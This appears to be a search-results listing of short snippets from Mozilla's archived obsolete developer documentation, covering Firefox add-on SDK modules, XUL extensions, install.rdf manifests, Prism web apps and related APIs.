urlencoded. parameters query : string the query string to escape. returns string : the escaped query string. unescape(query) the unescape function used by parse to decode a string safely. parameters query : string an escaped query string. returns string : the unescaped string. ...
net/xhr - Archive of obsolete content
ression that looks safe but contains a special character or two that makes it far less secure than it seems at first glance. possible attenuations before being exposed to unprivileged code, this object needs to be attenuated in such a way that, at the very least, it can't access the user's filesystem. this can probably be done most securely by white-listing the protocols that can be used in the
url passed to the open() method, and limiting them to http:, https:, and possibly a special scheme that can be used to access the add-on's packaged, read-only resources. finally, we need to also consider attenuating http/https requests such that they're "sandboxed" and don't communicate potentially sensitive cookie information. globals constructors xmlhttprequest() creates an xmlhttprequest. thi...
window/utils - Archive of obsolete content
ttached to the new window as the window.arguments property. returns nsidomwindow opendialog(options) opens a top level window and returns its nsidomwindow representation. this is the same as open, but you can supply more features. it wraps window.opendialog. parameters options : object options for the function, with the following properties: name type
url string uri of the document to be loaded into the window. defaults to "chrome://browser/content/browser.xul". name string optional name that is assigned to the window. defaults to "_blank". features string map of features to set for the window, defined like: { width: 10, height: 15, chrome: true }. for the set of features you can set, see the window.op...
Release notes - Archive of obsolete content
firefox 35. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 34 and firefox 35. this will not include any uplifts made after this release entered aurora. firefox 34 highlights new api: dev/panel enables you to extend the firefox developer tools. jpm beta released. "./my-file" introduced everywhere as an alias for require("sdk/self").data.
url("my-file") added the ability to attach stylesheets to individual tabs. details github commits made between firefox 33 and firefox 34. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 33 and firefox 34. this will not include any uplifts made after this release entered aurora. firefox 33 highlights added support for context menus in pane...
Creating Event Targets - Archive of obsolete content
"onevent" options finally, most event targets accept options of the form "onevent", where "event" is the capitalized form of the event type. for example, you can listen to the panel object's show event either by calling: mypanel.on("show", listenerfunction); or by passing the onshow option to panel's constructor: var mypanel = require("sdk/panel").panel({ onshow: listenerfunction, content
url: "https://en.wikipedia.org/w/index.php" }); if your class inherits from eventtarget, options like this are automatically handled for you. for example, given the implementation of bookmarkmanager above, your "index.js" could be rewritten like this: var bookmarks = require("./bookmarks"); function logadded(uri) { console.log("added: " + uri); } function logvisited(uri) { console.log("visit...
Display a Popup - Archive of obsolete content
ntent itself, specified as html icon-16.png, icon-32.png, and icon-64.png: icons for the button in three different sizes the "index.js" looks like this: var data = require("sdk/self").data; // construct a panel, loading its content from the "text-entry.html" // file in the "data" directory, and loading the "get-text.js" script // into it. var text_entry = require("sdk/panel").panel({ content
url: data.
url("text-entry.html"), contentscriptfile: data.
url("get-text.js") }); // create a button require("sdk/ui/button/action").actionbutton({ id: "show-panel", label: "show panel", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); // show the panel when the user clicks the button. function handleclick(state) { text...
List Open Tabs - Archive of obsolete content
to follow this tutorial you'll need to have learned the basics of jpm. to list the open tabs, you can iterate over the tabs object itself. the following add-on adds an action button that logs the
urls of open tabs when the user clicks it: require("sdk/ui/button/action").actionbutton({ id: "list-tabs", label: "list tabs", icon: "./icon-16.png", onclick: listtabs }); function listtabs() { var tabs = require("sdk/tabs"); for (let tab of tabs) console.log(tab.
url); } note: to get this working, you will need to save an icon for the button to your add-on's "data" directory as "icon-16.png". you can download the icon here: . run the add-on, load a couple of tabs and click the button. you'll see output in the command line console that looks something like this: info: htt...
Tutorials - Archive of obsolete content
web page open a web page in a new browser tab or window using the tabs module, and access its content. listen for page load use the tabs module to get notified when new web pages are loaded, and access their content. get the list of open tabs use the tabs module to iterate through the currently open tabs, and access their content. modify web pages modify web pages based on
url create filters for web pages based on their
url: whenever a web page whose
url matches the filter is loaded, execute a specified script in it. modify the active web page dynamically load a script into the currently active web page. development techniques logging log messages to the console for diagnostic purposes. creating reusable modules structure your add-on in separat...
Add-on SDK - Archive of obsolete content
b pages, listen for pages loading and list open pages. development techniques learn about common development techniques, such as unit testing, logging, creating reusable modules, localization, and mobile development. create user interface components create user interface components such as toolbar buttons, context menus, menu items, and dialogs. modify web pages modify pages matching a
url pattern or dynamically modify a particular tab. putting it together walkthrough of the annotator example add-on. guides contributor's guide learn how to start contributing to the sdk and about the most important idioms used in the sdk code such as modules, classes and inheritance, private properties, and content processes. sdk infrastructure aspects of the sdk's underlying technolo...
Bootstrapped extensions - Archive of obsolete content
n may be called: when the extension is uninstalled, if it's currently enabled. when the extension becomes disabled. when the user quits the application, if the extension is enabled. notes on modifying the application user interface chrome.manifest in bootstrapped add-ons you can use a chrome.manifest file in bootstrapped add-ons to: make your add-on's content available via a chrome://
url (using the content, locale, and skin instructions in the manifest). replace existing chrome:// uris with your content (using the override instruction). not all chrome.manifest instructions are supported in bootstrapped add-ons, for example you still cannot register xul overlays from a bootstrapped add-on. see the chrome.manifest documentation for details. in firefox 10 and later the chrome.ma...
Forms related code snippets - Archive of obsolete content
> of radioboxes and textboxes (written in pure css, without javascript), please see this example. autogrowing <textarea> this example shows how to make a textarea really autogrowing during a typing. insert some custom text in a <textarea> this example shows how to insert some html tags or smiles or any custom text in a textarea. image preview before upload the filereader.prototype.readasdata
url() method can be useful, for example, to get a preview of an image before uploading it.[article] this example shows how to use it in this way. note: the filereader() constructor was not supported by internet explorer for versions before 10. for a full compatibility code you can see our crossbrowser possible solution for image preview. filter the digitation into a form field this example shows t...
Examples and demos from articles - Archive of obsolete content
he informations needed by each animation to start, stop, etc. etc. in different objects and then to create a constructor for such class of objects in order to standardize and simplify the instantiation of them. here is a possible and minimalist example of such abstraction, which for this reason we named minidaemon. [article] image preview before upload [html] the filereader.prototype.readasdata
url() method is useful, for example, to get a preview of an image before uploading it. [article] note: the filereader() constructor was not supported by internet explorer for versions before 10. for a full compatibility code, see also our crossbrowser possible solution for image preview. determine if an element has been totally scrolled [html] this example shows how to determine whether a user h...
JavaScript Debugger Service - Archive of obsolete content
first compared fashion. the first filter to match determines whether or not the hook is called. we create a generic createfilter function that acts as a jsdifilter factory. function createfilter(pattern, pass) { var jsdifilter = components.interfaces.jsdifilter; var filter = { globalobject: null, flags: pass ? (jsdifilter.flag_enabled | jsdifilter.flag_pass) : jsdifilter.flag_enabled,
urlpattern: pattern, startline: 0, endline: 0 }; return filter; }, we then add the filters we want. jsd.clearfilters(); // clear the list of filters // we exclude the scripts with the following filenames from being tracked jsd.appendfilter(createfilter("*/firefox/components/*")); jsd.appendfilter(createfilter("*/firefox/modules/*")); jsd.appendfilter(createfilter("xstringbundle")); jsd.appe...
Post data to window - Archive of obsolete content
]. createinstance(ci.nsistringinputstream); if ("data" in stringstream) // gecko 1.9 or newer stringstream.data = datastring; else // 1.8 or older stringstream.setdata(datastring, datastring.length); var postdata = cc["@mozilla.org/network/mime-input-stream;1"]. createinstance(ci.nsimimeinputstream); postdata.addheader("content-type", "application/x-www-form-
urlencoded"); postdata.addcontentlength = true; postdata.setdata(stringstream); // postdata is ready to be used as apostdata argument ... posting data to the current tab there is a convenience method in global scope (in firefox, chrome://browser/content/browser.js): loaduri(auri, areferrer, apostdata, aallowthirdpartyfixup); posting data to a new window window.opendialog('chrome://browser/con...
Sidebar - Archive of obsolete content
sidebar's context: sidebarwindow.yournotificationfunction(anyarguments); } testing which sidebar is open the sidebar content may contain different panels (bookmarks, history, webpanel, etc.) and sometimes one wants to only act on the sidebar when it contains a specific panel. ...
StringView - Archive of obsolete content
x3jlz2lzdgvyve1dbg9uzvrhymxlaf9pbml0aa==", "ascii", 1444, 12); alert(string.fromcharcode.apply(null, swhelloworld.bufferview)); // swhelloworld.buffer contains the whole file alert(swhelloworld); // "hello world" /* traslating "hello world" into italian... */ swhelloworld.rawdata.set((new stringview("ciao mondo!!", "ascii")).rawdata); /* download the new executable file... */ location.assign(
url.createobject
url(new blob([swhelloworld.buffer], { "type": "application\/x-executable" }))); note: the executable above has been compiled with gnu gcc 4.8.1 running on a 64-bit machine with arch gnu/linux. glossary element an item of the backing array (whether uint8array, uint16array, uint32array, etc.) codepoint an unique number for each unicode character. it is rappresented by a collecti...
Tabbox - Archive of obsolete content
nels.childnodes[currentindex]); tabs.removeitemat(currentindex); /*work around if last tab is removed, widget fails to advance to next tab*/ if(-1 == tabbox.selectedindex && tabs.childnodes.length>0){ tabbox.selectedindex=0; } } creating a close tab button to have a tab close button, you must configure the style. examples: .tabs-closebutton { list-style-image:
url(http://mozilla.org/favicon.ico); } .tabs-closebutton { list-style-image:
url("chrome://global/skin/icons/close.gif"); } ...
Common Pitfalls - Archive of obsolete content
// some applications return rv; } or, if the code can include nsnetutil.h: nscomptr<nsiuri> uriobj; nsresult rv = ns_newuri(getter_addrefs(uriobj), uristring, uricharset, baseuri); in all cases the baseuri can be null if the uristring should be treated as an absolute uri and uricharset can be null if there is no clear origin charset for the string (e.g. it's something the user typed in the
url bar). the one exception to all of the above, that is the one case in which creating a specific uri class via createinstance is acceptable, is when one is implementing a protocol handler's newuri method. in that case you may not be able to use the i/o service because that service calls the newuri method on the appropriate protocol handler, which may be your own handler. how to do security checks...
Deploying a Plugin as an Extension - Archive of obsolete content
he extension manager will include an entry for the rhapsody player engine. because it is an extension, we can disable/enable it, as well as uninstall it. you'll notice that one thing we did not do is provide a mechanism for updating the plugin, as discussed at the beginning of this article. let's cover that now. one of the additional things that can be placed in the install.rdf is called an update
url. for example: <em:update
url><http://www.rhapsody.com/update.rdf></em:update
url> this
url specifies an rdf file that can be used to tell firefox that there are updates available for your extension. this rdf file can be updated to indicate that an update to our extension/plugin is available. finally, if you want to package plugins for multiple platforms into a single extension, you can do that as ...
Extension Etiquette - Archive of obsolete content
tive objects. global variables, such as top-level declarations on scripts loaded into shared windows or web pages. expando properties of shared objects, such as document objects, or dom nodes. ids and class names in html and xul documents, when extensions add elements to web pages or browser windows. chrome: or resource: packages, which are often defined in chrome.manifest files. about: page
urls. xpcom contract ids, which are often registered in chrome.manifest files. while these are among the most common examples of namespaces in which conflicts can occur, there are many others. in general, care must be taken whenever defining a name anywhere that other code might do likewise. strategies to avoid such conflicts include: avoid shared namespaces where possible many naming conflict...
Chapter 1: Introduction to Extensions - Archive of obsolete content
than 7000 extensions and themes published at the firefox add-ons site (https://addons.mozilla.org). what you can do with extensions let's look at what features extensions can add, and some actual examples of extensions. single feature extensions fixme: update this. these are relatively simple extensions that add a single feature. text link makes it so that double-clicking on an unlinked
url follows that
url. undo closed tabs button adds a toolbar button to re-open the most recently closed tabs to the history menu. locationbar separates a
url’s domain and path in the location bar for easier reading. feature enhancing extensions fixme: update this. these extensions enhance features that already exist in firefox. tab mix plus offers detailed tab-related setti...
Adding Events and Commands - Archive of obsolete content
way to solve this is to have the actions on the site to generate a custom event that can be easily recognized by your extension. you can capture the events in the xul overlay, since they'll bubble all the way up: // in the overlay code. document.addeventlistener( "xshellogreetingevent", function(aevent) { /* do stuff*/ }, false); be careful when doing this! you should at least validate the
url of the page that is generating the custom event, so that you know that it's coming from the right place. you should also avoid this kind of events to trigger actions that could be destructive to the user's data, because a malicious site could try to trigger these events and cause damage. there's a reason for the division between remote content and local chrome, so make sure you respect it. there...
Adding sidebars - Archive of obsolete content
required to add a sidebar is very simple, as explained in creating a firefox sidebar. it's even simpler than that. all you need is to overlay the view sidebar menu. <menupopup id="viewsidebarmenu"> <menuitem id="xulschoolhello-sidebar" label="&xulschoolhello.sidebar.title;" accesskey="&xulschoolhello.sidebar.accesskey;" type="checkbox" autocheck="false" group="sidebar" sidebar
url="chrome://xulschoolhello/content/sidebar.xul" sidebartitle="&xulschoolhello.sidebar.title;" oncommand="togglesidebar('xulschoolhello-sidebar');" /> </menupopup> the example in the mdc page includes a shortcut key combination to toggle the new sidebar. keyboard shortcuts are an essential feature of firefox, and you can add your own into your extensions, which is also great. the problem ...
Adding windows and dialogs - Archive of obsolete content
« previousnext » opening windows and dialogs to open a new window, use the javascript window.open function just like with html windows. window.open( "chrome://xulschoolhello/content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the
url to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window. if this value is null or empty, the default toolbars of the main window will be added to the new one, which is rarely what you want. the window.open page has a detailed description of the features you can use and their values. the following features are very important and you should always keep them in mind: chrome. this ...
Appendix A: Add-on Performance - Archive of obsolete content
ng inefficient code in the event handlers can cause a noticeable delay that users may have hard time figuring out. look at the source samples in the article and notice how they mostly consist of nested if statements. this is what you should do first to make sure that you filter out all cases that don't interest you so that your add-on doesn't slow down other requests. a very common filter is the
url of the page, since most add-ons are limited to one or a few domains. use regular expressions if you need to. make sure your comparison code is as efficient as possible. finally, make sure all of your page load code is as efficient as possible. this can be tricky for some add-ons, like ad or script blockers that need to check a whitelist or blacklist. nevertheless, loading pages is pretty importa...
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
hook the same functions, but a little different, ending up with completely broken code. the code is hard to read and by that hard to maintain and review. (the example is a quite simple one. in real life such code is often far more complex) the code might break in the future, as certain assumptions might not longer be true, for example the function signature may change (auri from above becomes a
url) or the function is replaced by a short-hand/arrow function: function addtab(auri) tabbrowser.addtab(auri); var addtab = (auri) => tabbrowser.addtab(auri); same as with "passing functions/code as strings" above, patching a function to with fragments of externally retrieved data will create security vulnerabilities. alternative: replace + function.apply() you may replace the original funct...
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
ecutable * javascript, and return a document fragment. * * @param {document} doc the document in which to create the * returned dom tree. * @param {string} html the html fragment to parse. * @param {boolean} allowstyle if true, allow <style> nodes and * style attributes in the parsed fragment. gecko 14+ only. * @param {nsiuri} baseuri the base uri relative to which resource *
urls should be processed. note that this will not work for * xml fragments. * @param {boolean} isxml if true, parse the fragment as xml. */ function parsehtml(doc, html, allowstyle, baseuri, isxml) { let parser_utils = "@mozilla.org/parserutils;1"; // user the newer nsiparserutils on versions that support it. if (parser_utils in cc) { let parser = cc[parser_utils] ...
Handling Preferences - Archive of obsolete content
tleties related to preference management, there are some facilities provided in xul and firefox that make this much easier to deal with. the standard way of opening a preferences window is to open the add-ons manager, select the add-on, and then click on the preferences button. in order to have this button enabled in your extension you need to add the following line to install.rdf: <em:options
url>chrome://xulschoolhello/content/preferenceswindow.xul</em:options
url> if you want to open this window from a different place in the ui, such as a menu item or a button in a toolbar, you need to take into account that the opening behavior of a preferences window is different depending on the operating system. this is how we do it: openpreferences : function() { if (null == this._preference...
The Essentials of an Extension - Archive of obsolete content
. there are also downloadable tools for all platforms that generate them. the enclosing brackets are just notation, and they're just common practice. as long as your id has some uniqueness to it, it's ok to use either form. <em:name>xul school hello world</em:name> <em:description>welcome to xul school!</em:description> <em:version>0.1</em:version> <em:creator>appcoast</em:creator> <em:homepage
url>https://developer.mozilla.org/docs/xul_school</em:homepage
url> this is the data that is displayed before and after the extension is installed, that you can see in the add-ons manager. there are many other tags that can be added, for contributors and translators. the full specification of the install.rdf file has all the details. since extensions can be translated to multiple languages, it is ...
XPCOM Objects - Archive of obsolete content
when you need to use the category manager. the category manager is a service that allows you to register your component under categories that are either pre-existing or you make up. the service also allows you to get all components registered in a category and invoke methods on them. one common use for this service is registering a component as a content policy. with it you can detect and filter
url loads. this is covered further ahead in another section of the tutorial. the add and delete calls to the category manager would have to be done in the registerself and unregisterself methods: registerself : function(acompmgr, alocation, aloaderstr, atype) { let categorymanager = cc[@mozilla.org/categorymanager;1].getservice(ci.nsicategorymanager); acompmgr.queryinterface(ci.nsicompo...
Session store API - Archive of obsolete content
of recently closed tabs are restored. after that, the following steps are taken for each tab being restored: either an existing tab is reused or a new tab is created. in the latter case, a tabopen event is sent. the tab's persistent xul attributes (those saved due to calls to persisttabattribute()) and permissions are restored. the sstabrestoring event is sent. the tab is told to load the
url it should be displaying. when the page is finished loading, text fields and scroll state are restored. finally, the sstabrestored event is sent. if you want to set permissions or otherwise manipulate a restored tab before the page is loaded into it, you should watch sstabrestoring. if you want to do something after the page is loaded, you should watch sstabrestored. both events are always se...
Firefox addons developer guide - Archive of obsolete content
ld use the previous, next, and prevnext templates to add quick routes to get from chapter to chapter. see the xul reference, for example. each chapter should be tagged appropriately, based on content, and every chapter should include the tag "firefox addons developer guide". instead of using footnotes, we should inline these notes into the body of the article. apostrophes are being done using c
urly apostrophes instead of straight ones as is done everywhere else in mdc. the stuff about installing the dom inspector (https://developer.mozilla.org/en/firefox_addons_developer_guide/let%27s_build_a_firefox_extension#install_the_dom_inspector) is not accurate for firefox 3 or later, since it's no longer included in the firefox installer and must be downloaded from amo. filenames should use <cod...
Using the Stylesheet Service - Archive of obsolete content
with this api apply to all documents; firefox 18 extended nsidomwindowutils with loadadditionalstylesheet() and removeadditionalstylesheet() to manage stylesheets for a specific document (bug 737003). the examples in this document are all written in javascript using xpcom. using the api the string "chrome://myext/content/myext.css" in the examples below is just an example. replace it with the
url of the css file you want to load. you can replace user_sheet with agent_sheet or author_sheet, depending where in the css cascade you want the sheet to be placed. see the css specification for more details. note that ua stylesheets are allowed to do certain unsafe things that user stylesheets are not allowed to do. in particular, they can apply styles to native anonymous elements and to css an...
Creating reusable content with CSS and XBL - Archive of obsolete content
tml> <head> <title>mozilla css getting started - xbl demonstration</title> <link rel="stylesheet" type="text/css" href="style6.css"> </head> <body> <h1>xbl demonstration</h1> <div id="square">click me</div> </body> </html> make a new css file, style6.css. this stylesheet contains the document style. copy and paste the content from here: /*** xbl demonstration ***/ #square { -moz-binding:
url("square.xbl#square"); } make a new text file, square.xbl. this file contains the xbl binding. copy and paste the content from here: <?xml version="1.0"?> <!doctype bindings> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="square"> <resources>...
CSS3 - Archive of obsolete content
and vertical scripts and clarifies how the css direction and unicode-bidi properties interact with the new css text-orientation property, and extends them where needed. css counter styles level 3 candidate recommendation testing modules css images module level 3 candidate recommendation defines the <image> data type. extends the
url() syntax to support image slices using media fragments. adds: the dppx unit to the <resolution> data type. the image() function as a more flexible alternative to
url() to define an image from an
url. at risk: due to insufficient browser support, standardization of the image() function may be postponed to the next iteration of this module. support for linear-gradien...
Localizing an extension - Archive of obsolete content
ile. to options.xul, we add this line: <!doctype window system "chrome://stockwatcher2/locale/options.dtd"> we add a similar line to the stockwatcher.xul file: <!doctype overlay system "chrome://stockwatcher2/locale/stockwatcher2.dtd"> in larger applications you might need to use entities from several locale files in a single xul file. using multiple dtds describes how to do it. note that the
urls of the dtd files don't actually include the name of the localization to use. the chrome registry resolves the uris based on the user's current locale setting and the data you provide in your chrome manifest. then we simply replace each text string in our xul files with the corresponding entity. for example, in stockwatcher2.xul, we change this line: <menuitem label="refresh now" oncommand="stoc...
MMgc - Archive of obsolete content
some assembly code in the avm+. #2 can be found by examining all non-const methods of gc objects (and making all fields private, something the avm+ code base does already). #3 is a little harder because there are a good # of gc roots. this is an unfortunate artifact of the existing code base, the avm+ is relatively clean and its reachability graph consists of basically 2 gc roots (the avmcore and
urlstreams) but the avm- has a bunch (currently includes securitycallbackdata, moviecliploader, camerainstance, fappacket, microphoneinstance, csoundchannel,
urlrequest, responceobject,
urlstream and
urlstreamsecurity). in order to make things easier we could avoid wb's for #3 by marking the root set twice. the first increment pushes the root set on to the queue and when the queue is empty we process...
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
e if you have packaged the control into a cab file and wish for it to be installed automatically. the following <embed> attributes have <param> tag equivalents: <param name="type" ...> is equivalent to typespecifies the mime type of the plug-in. the control uses this value to determine which plug-in it should create to handle the content. <param name="src" ...> is equivalent to srcspecifies an
url for the initial stream of data to feed the plug-in. if you havent't specified a "type" param, the control will attempt to use the mime type of this stream to create the correct plug-in. <param name="pluginspage" ...> is equivalent to pluginspagespecifies a
url where the plug-in may be installed from. the default plug-in will redirect you to this page when you do not have the correct plug-in inst...
Conclusion - Archive of obsolete content
mozilla will automatically detect that the file is an installer and ask you if you want to install the software. try installing the extension, restarting mozilla, and see if it works. ...
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
a list of active tinderbox clients along with the result of their last build attempt. xmlhttprequest is easy to use in the simple case we have here. we use new to create a new instance of it, set the instance's onload property to updatetinderboxstatus(), the function we want to execute when the document finishes loading, call its open method with the type of http request we want to make and the
url of the document to retrieve, and then call its send method to send the request. xmlhttprequest will retrieve the document located at the given
url and call the updatetinderboxstatus() function when it is done. notice that we defined the instance of xmlhttprequest as a global variable. this is because we need to reference it in the updatetinderboxstatus() function as well as the current function...
install.rdf - Archive of obsolete content
:minversion> <em:maxversion>2.0b2pre</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>my_theme</em:name> <em:description>my first theme</em:description> <!-- front end integration hooks (used by theme manager)--> <em:creator>john johnson</em:creator> <em:contributor>john johnson</em:contributor> <em:homepage
url>https://mycoolskin.com/</em:homepage
url> <em:update
url>https://mycoolskin.com/</em:update
url> <em:about
url>https://mycoolskin.com/</em:about
url> <em:internalname>my_theme</em:internalname> </description> </rdf> ...
Getting Started - Archive of obsolete content
the correct files we need to open up \mozilla\chrome\installed-chrome.txt in a text editor. you should probably make a backup of this file now, just in case you make a mistake. in the file you'll see a list. do a search for classic.jar</cde>. on every line that references <code>classic.jar we need to make some changes (there are about 5 lines). delete the bolded text: original skin,install,
url,jar:resource:/chrome/classic.jar!/skin/classic/global/ modified skin,install,
url,resource:/chrome/classic/skin/classic/global/ once you have made these modifications, save them and run mozilla. if mozilla runs fine, that means that it worked. if it doesn't appear as you expected, then go back into the installed-chrome.txt file and double check that you modified the lines correctly. changing...
Embedding FAQ - Archive of obsolete content
import org.eclipse.swt.widgets.display; import org.eclipse.swt.widgets.shell; import org.mozilla.xpcom.nsidomdocument; public class test { public static void main(string args[]) { display display = new display(); shell shell = new shell(display); final mozillabrowser browser = new mozillabrowser(shell,wt.border); browser.set
url("http://www.google.com"); browser.addprogresslistener(new progresslistener() { public void changed(progressevent event) { } public void completed(progressevent event) { nsidomdocument doc = browser.getdocument(); system.out.println(doc); ...
Downloading Nightly or Trunk Builds - Archive of obsolete content
trouble of building the source. the current trunk is mozilla 1.9.2. tinderbox builds. for the trunk and the latest two branches, there are machines at mozilla and maybe elsewhere compiling builds as fast as they can make them for at least all three of firefox, thunderbird and seamonkey on all three of linux-i686, mac-universalbinary and win32. these are the "tinderbox builds", also known as "ho
urly builds" though it usually takes more than one hour to make one; they are followed by automatic tests and their main purpose is to check that nothing is horridly wrong with the latest change to the source: what they are doing is to constantly check that the current source can be built into an executable and that that executable passes a certain more-or-less fixed set of tests. nightly builds. t...
Menu - Archive of obsolete content
y, command functions defined on menuitems with submenus are not called when descendant menuitems are clicked. see bug 534014 for details and a workaround. data string an arbitrary string that the feature may associate with the menuitem. disabled boolean if true, the menuitem is disabled. icon string the
url of an icon to display in the menuitem. note that some environments, notably gnome 2.28, do not support menuitem icons either by default or at all. label string the label of the menuitem. menu jetpack.menu if defined, the menuitem expands into a submenu. mnemonic string a character that is used as the item's sho...
Notifications - Archive of obsolete content
first sdk release for what we're up to next! the notification box appears at the bottom right corner of the browser and displays important information to the user. the namespace for this class is jetpack.notifications. methods show(titlestring, [body as string] iconstring)draws a notification box. ...
statusBar - Archive of obsolete content
s statusbar contains functions to add and control the statusbar of the browser. you can find the complete sourcecode in the status-bar-panel.js file in your jetpack repository. namespace: jetpack.statusbar methods copybackground embediframe append the append methods adds a new item to the statusbar. many of the options are optional. syntax jetpack.statusbar.append(options); possible options are:
url width (string/length) the width of the panel-item html (string) the html code which will be used inside the item onload (event) this event fires when the item was appended. its acutally not implemented in the current version. onready (event) occurs when the item was loaded onunload (event) triggers when the item was removed. example jetpack.statusbar.append({ html: 'hello <i>world</i>!', o...
Makefile.mozextension.2 - Archive of obsolete content
xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <id>$(project_id)</id> <name>$(project_name)</name> <version>$(project_version)</version> <description>$(project_desc)</description> <creator>$(project_author)</creator> <contributor>here is a place for you who helped me</contributor> <homepage
url>http://$(project).mozdev.org/</homepage
url> <options
url>chrome://$(project)/content/settings.xul</options
url> <about
url>chrome://$(project)/content/about.xul</about
url> <icon
url>chrome://$(project)/skin/mainicon.png</icon
url> <update
url>http://$(project).mozdev.org/update.rdf</update
url> <type>2</type> <targetapplication> <description> <id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</id> <...
Microsummary topics - Archive of obsolete content
rn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16} to guarantee uniqueness, use urns containing uuids generated by the nsuuidgenerator component. see generating a uuid in the nsiuuidgenerator documentation. you may also use another form appropriate to your extension. note: when web sites install generators via window.sidebar.addmicrosummarygenerator(), firefox sets their uri attribute to urn:source:source
url, where source
url is the
url from which the generator was downloaded. in the future, firefox may access source
urls to download updated versions of generators, so unless you are installing generators which are available from
urls, you should not use this form for your programmatically-installed generators. differentiating between user-initiated and microsummary-related requests when firefox update...
Monitoring downloads - Archive of obsolete content
storage api to issue sqlite commands on a database. the result is a window you can open by choosing "download log" in the tools menu, which lists all downloads that have been started since you installed the extension. in the list is the name of the file, the start and end times of the download, the download speed, and the status of the download. a tooltip is included that displays the full source
url of the file. download the full sample. setting up when the extension loads, it will do some housekeeping chores. in particular, it needs to get an instance of the download manager's nsidownloadmanager interface and create the database into which its data will be stored. onload: function() { // initialization code this.initialized = true; this.strings = document.getelementbyid("downl...
Mozilla Application Framework in Detail - Archive of obsolete content
urthermore, when embedding gecko, developers are free to choose what modules to include. there is no requirement for distribution of any other software. the necko network library mozilla's network library (aka necko) provides an extensible, platform-independent api for several layers of networking from transport to presentation layers. its provides a generic and extensible framework for fetching
urls with support for common protocols (http, ftp, file, etc.) and a way to plug in custom protocol handlers. necko also provides an abstract "file descriptor" interface for low-level data access. necko features include support for asynchronous i/o, a generic disk and memory cache service, asynchronous caching dns resolution, web proxies, and https. the following architectural diagram depicts necko a...
BlogPosts - Archive of obsolete content
a prism - a revolution in web apps thanscorner: mozilla webrunner 0.7 site specific browsers webrunner using webrunner webrunner + gears = offline desktop reader webrunner 0.5 webrunner 0.5 - mac support webrunner 0.5 - linux install webrunner, google reader, and google notebook distraction free gtd - 32+ web app files for online todo lists mozilla webrunner: a one-window, tabless browser with no
url bar webrunner becomes prism - a mozilla labs project mozilla labs: prism alex faaborg: prism mozilla prism: bringing web apps to the desktop everyone should use site specific browsers mozilla prism portable (spanish) prism, l'avenir des applications web selon mozilla (french) mozilla prism : bundle custom google reader + talk (french) just browsing: site-specific browsers ...
Bundles - Archive of obsolete content
link rel="webapp" href="prismdemo.webapp" title="prism demo"> when the extension finds such a <link> tag, it will notify the user. the user can then decide to install the webapp. how-to here is a simple way to build a basic web application bundle: create file called webapp.ini that contains something like: [parameters] id=unique-app-id@unique-author-id.whatever name=webapp name uri=http://[the-
url-what-you-want-to-connect-to]/ status=yes location=no sidebar=no navigation=no zip the file to [whatever].webapp double-click the webapp bundle or use prism -webapp [path-to-webapp] structure a bundle can contain the following files. any other files in the .webapp file will be ignored. after the .webapp file is executed the first time, these files will be unzipped and "cached" to a local director...
HostWindow - Archive of obsolete content
when not displayed the entire location bar section is hidden. sidebar - section of window area used to display ancillary web content, including web applications. ...
New Skin Notes - Archive of obsolete content
- main link and documentation leads to english devmo, and devnews and webwatch should be hidden or localized too. --gandalf 01:30, 29 aug 2005 (pdt) we'll revisit this later. tab links are currently as intended. --dria no, they're not. when i'm on polish devmo and i click on documentation or main devmo logo i'm redirected to english version. it's a bug. --gandalf 00:39, 31 aug 2005 (pdt) link
url fixed for wiki skin only. tab text will currently remain untranslated ("documentation"). devnews and webwatch are not currently being localised so shall remain as they are, with link to english wiki. --dria further notes and ideas (future) skin designed more for the editorial crowd, with the editor tools more prominently placed in the skin. the core format would be the same as "default", h...
PyDOM - Archive of obsolete content
/> html <meta http-equiv="content-script-type" content="application/x-python" /> should work (but possibly doesn't - see bug 100924). but addeventlistener within a <script type="application/x-python"> block does. almost python code can not be secured - so it will only run from trusted sources. this means you can only have python code in chrome. content loaded from anywhere other than a chrome://
url can not host python. it should be obvious why you don't want to run http://evil.com/something_evil.py in your browser! inside chrome, you can use python via either html or xul. related topics pyxpcom: create and use xpcom components with python python-spidermonkey pydom samples: sample applications that use pydom pythonext: a firefox/xulrunner extension that can be used to install pydom ...
RDF Datasource How-To - Archive of obsolete content
illa.org/keymaster/gat...re.is.only.xul"> <tree datasources="rdf:my-datasource" ref="http://foo.bar.com/"> <template> <treechildren> <treeitem uri="..."> <treerow> <treecell> <text value="rdf:http://home.netscape.com/nc-rdf#name" /> </treecell> <treecell> <text value="rdf:http://home.netscape.com/nc-rdf#
url" /> </treecell> </treerow> </treeitem> </treechildren> </template> <treehead> <treeitem> <treecell>name</treecell> <treecell>
url</treecell> </treeitem> </treehead> <!-- treechildren built _here_ --> </tree> </window> the important "magic attributes" have been called out in bold, above: datasources="rdf:my-data...
Frequently Asked Questions - Archive of obsolete content
in to view svg in mozilla on their own computers, but there is no way for svg content authors to make mozilla use a plugin when people view the svg files on their website. the native svg support must be turned off before mozilla will look to see if there's an svg plugin installed. this is done by toggling a hidden user configuration preference (pref). to access the pref type about:config into the
url bar, then type svg.enabled into the filter field. when you double click on the pref you will see its value change to and from true/false, turning the native support on/off. how does mozilla's svg implementation compare to adobe's? mozilla's native implementation is less complete than adobe svg viewer's in general. there are major features such as filters and smil based animation that have still...
Supporting per-window private browsing - Archive of obsolete content
ly, network channels inherit the privacy status of the document that created them, which means that they work correctly most of the time. however, sometimes you need to adjust the privacy status on a channel manually, for example, if you have created the channel directly yourself. you can use the nsiprivatebrowsingchannel interface for this purpose. the example below creates a channel to load a
